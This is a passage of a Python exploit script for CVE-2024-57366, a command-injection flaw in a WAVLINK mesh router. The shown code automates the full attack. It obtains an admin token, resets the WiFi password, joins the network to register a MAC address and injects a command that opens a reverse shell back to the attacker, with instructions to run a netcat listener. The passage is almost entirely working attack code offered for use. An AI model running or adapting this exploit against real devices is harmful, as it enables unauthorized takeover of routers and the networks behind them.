                                print(f"[+] SUCCESS! Command injection successful!")
                                print(f"[+] Reverse shell should be connecting to {local_ip}:{local_port}")
                                return True
                            else:
                                print(f"[-] Request failed with error code: {error_code}")
                                if error_code == 10001:
                                    print(f"[-] MAC address validation failed - the MAC address is not registered with the router")
                                return False
                        else:
                            print(f"[+] No error in response, assuming success")
                            return True
                    except json.JSONDecodeError:
                        print(f"[-] Invalid JSON response from curl")
                        return False
                else:
                    print(f"[-] Curl request failed")
                    return False
            except subprocess.TimeoutExpired:
                print(f"[+] Curl request timed out after 15 seconds")
                print(f"[+] This might mean the command injection is working!")
                print(f"[+] Check your netcat listener on {local_ip}:{local_port} for a reverse shell")
                print(f"[+] If you see a connection, the exploit was successful!")
                return True
        else:
            print(f"[+] eth0 not available, using standard requests")
            raise Exception("eth0 not available")
    except Exception as e:
        print(f"[+] Falling back to standard requests: {e}")
        
        try:
            print(f"[+] Sending POST request to: {full_url}")
            print(f"[+] Headers: {headers}")
            response = session.post(full_url, headers=headers, timeout=10)
            print(f"[+] NOTE: Make sure you have a listener running: nc -lvp {local_port}")
            print(f"[+] Response status code: {response.status_code}")
            
            if response.status_code == 200:
                try:
                    response_data = response.json()
                    print(f"[+] Response JSON: {response_data}")
                    
                    if "error" in response_data:
                        error_code = response_data["error"]
                        if error_code == 0:
                            print(f"[+] Command injection successful!")
                            return True
                        else:
                            print(f"[-] Request failed with error code: {error_code}")
                            if error_code == 10001:
                                print(f"[-] MAC address validation failed - the MAC address is not registered with the router")
                            return False
                    else:
                        print(f"[+] No error in response, assuming success")
                        return True
                except json.JSONDecodeError:
                    print(f"[-] Invalid JSON response")
                    return False
            else:
                print(f"[-] Request failed with status code: {response.status_code}")
                return False
                
        except requests.exceptions.Timeout:
            print(f"[+] Request timed out after 10 seconds")
            print(f"[+] This might mean the command injection is working!")
            print(f"[+] Check your netcat listener on {local_ip}:{local_port} for a reverse shell")
            print(f"[+] If you see a connection, the exploit was successful!")
            return True
        except requests.exceptions.RequestException as e:
            print(f"[-] Request failed with error: {e}")
            return False


def main():
    parser = argparse.ArgumentParser(description="CVE-2024-57366 Exploit")
    parser.add_argument("--target", default="127.0.0.1", help="Target IP address")
    parser.add_argument("--port", type=int, default=80, help="Target port")
    parser.add_argument("--password", default="password", help="Admin password")
    parser.add_argument("--local-ip", help="Local IP address for reverse shell")
    parser.add_argument("--local-port", type=int, help="Local port for reverse shell")
    parser.add_argument("--ssid", default="WAVLINK-Mesh_DC4B", help="WiFi SSID")
    parser.add_argument("--force-full", action="store_true", help="Force full exploit (skip cached MAC check)")
    parser.add_argument("--list-cached", action="store_true", help="List cached MAC addresses and exit")
    
    args = parser.parse_args()
    
    # Handle list cached MACs option
    if args.list_cached:
        list_cached_macs()
        return
    
    # Validate required arguments for exploit
    if not args.local_ip or not args.local_port:
        print("[-] Error: --local-ip and --local-port are required for exploit")
        print("[-] Use --list-cached to view cached MAC addresses")
        sys.exit(1)
    
    print("=" * 60)
    print("CVE-2024-57366 Exploit - Simplified Version")
    print("=" * 60)
    
    # Check for cached MAC addresses first (unless forced to do full exploit)
    if not args.force_full:
        cached_mac = get_cached_mac_for_target(args.target)
        if cached_mac:
            print(f"[+] Found cached MAC address for {args.target}: {cached_mac}")
            response = input("[?] Use cached MAC for quick exploit? (y/n): ").lower().strip()
            if response in ['y', 'yes']:
                success = quick_exploit_with_cached_mac(args.target, args.port, args.local_ip, args.local_port, args.password, cached_mac)
                if success:
                    print("[+] Quick exploit completed successfully!")
                    return
                else:
                    print("[-] Quick exploit failed, falling back to full exploit...")
                    print()
    
    print("[+] Performing full exploit (WiFi connection + MAC registration)...")
    
    # Step 1: Detect wireless adapters
    wireless_adapters = detect_wireless_adapters()
    
    if not wireless_adapters:
        print("[-] No wireless adapters found!")
        print("[-] This exploit requires a wireless adapter to connect to the router's WiFi.")
        print("[-] Please ensure you have a wireless adapter available and try again.")
        print("")
        print("[-] Suggestions:")
        print("[-]   1. Connect a USB WiFi adapter")
        print("[-]   2. Enable your built-in wireless adapter")
        print("[-]   3. Check that wireless drivers are loaded")
        print("[-]   4. Try running: sudo modprobe -r <driver> && sudo modprobe <driver>")
        print("[-]   5. Check: lsusb | grep -i wireless")
        print("[-]   6. Check: iw dev")
        sys.exit(1)
    
    # Use the first available wireless adapter
    interface_name, mac_address, device_type = wireless_adapters[0]
    print(f"[+] Using wireless adapter: {interface_name} ({mac_address}) - Type: {device_type}")
    
    # Step 2: Get authentication token
    print("[+] Getting authentication token...")
    token = retrieve_token(args.target, args.port, args.password, args.local_ip, args.local_port)
    if not token:
        print("[-] Failed to get authentication token")
        sys.exit(1)
    
    # Step 3: Reset WiFi password
    print("[+] Resetting WiFi password...")
    if not reset_wifi_password(args.target, args.port, token, args.password):
        print("[-] Failed to reset WiFi password")
        sys.exit(1)
    
    # Step 4: Connect to WiFi (REQUIRED - for MAC registration)
    print("[+] Connecting to WiFi for MAC registration...")
    print("[+] This will preserve your existing network connections")
    wifi_connected, mac_address = connect_to_wifi_isolated(interface_name, mac_address, args.ssid, args.password)
    
    if not wifi_connected:
        print("[-] WiFi connection failed - trying exploit anyway...")
        print("[-] The router may still accept the MAC address if it was previously registered")
        print("[-] If the exploit fails, manually connect to WiFi first:")
        print("[-]   Network: WAVLINK-Mesh_DC4B, Password: password1")
        print("[-]   Then run the exploit again")
        # Don't exit - continue with exploit attempt
    else:
        print("[+] WiFi connection successful! MAC address is now registered with the router.")
    
    # Step 5: Wait for WiFi password reset to take effect and MAC registration
    print("[+] Waiting 60 seconds for WiFi password reset to take effect and MAC registration...")
    time.sleep(60)
    
    # Step 6: Make logout request and renew token
    print("[+] Making logout request...")
    logout_request(args.target, args.port)
    
    print("[+] Renewing authentication token...")
    token = retrieve_token(args.target, args.port, args.password, args.local_ip, args.local_port)
    if not token:
        print("[-] Failed to renew authentication token")
        sys.exit(1)
    
    # Step 7: Execute exploit
    print("[+] Executing exploit...")
    success = False
    try:
        success = inject_command(args.target, args.port, token, args.local_ip, args.local_port, mac_address)
        
        if success:
            print("\n[+] Exploit completed successfully!")
            print(f"[+] Reverse shell should connect to {args.local_ip}:{args.local_port}")
            print(f"[+] Make sure you have a listener running: nc -lvp {args.local_port}")
            
            # Ask if user wants to save this MAC address for future quick exploits
            print()
            response = input(f"[?] Save MAC address {mac_address} for quick future exploits? (y/n): ").lower().strip()
            if response in ['y', 'yes']:
                save_successful_mac(mac_address, args.target)
                print(f"[+] Next time you can use: --force-full to skip this prompt")
        else:
            print("\n[-] Exploit failed!")
            print("[-] The MAC address may not be registered with the router.")
            print("[-] Try connecting to the WiFi manually first, then run the exploit again.")
    finally:
        # Step 9: Clean up WiFi connection (preserves existing network)
        print("\n[+] Cleaning up WiFi connection...")
        if 'wifi_connected' in locals() and wifi_connected:
            disconnect_wifi_cleanly(interface_name)
        else:
            print("[+] No WiFi connection to clean up")
        print("[+] Your existing network connections remain intact")


if __name__ == "__main__":
    main()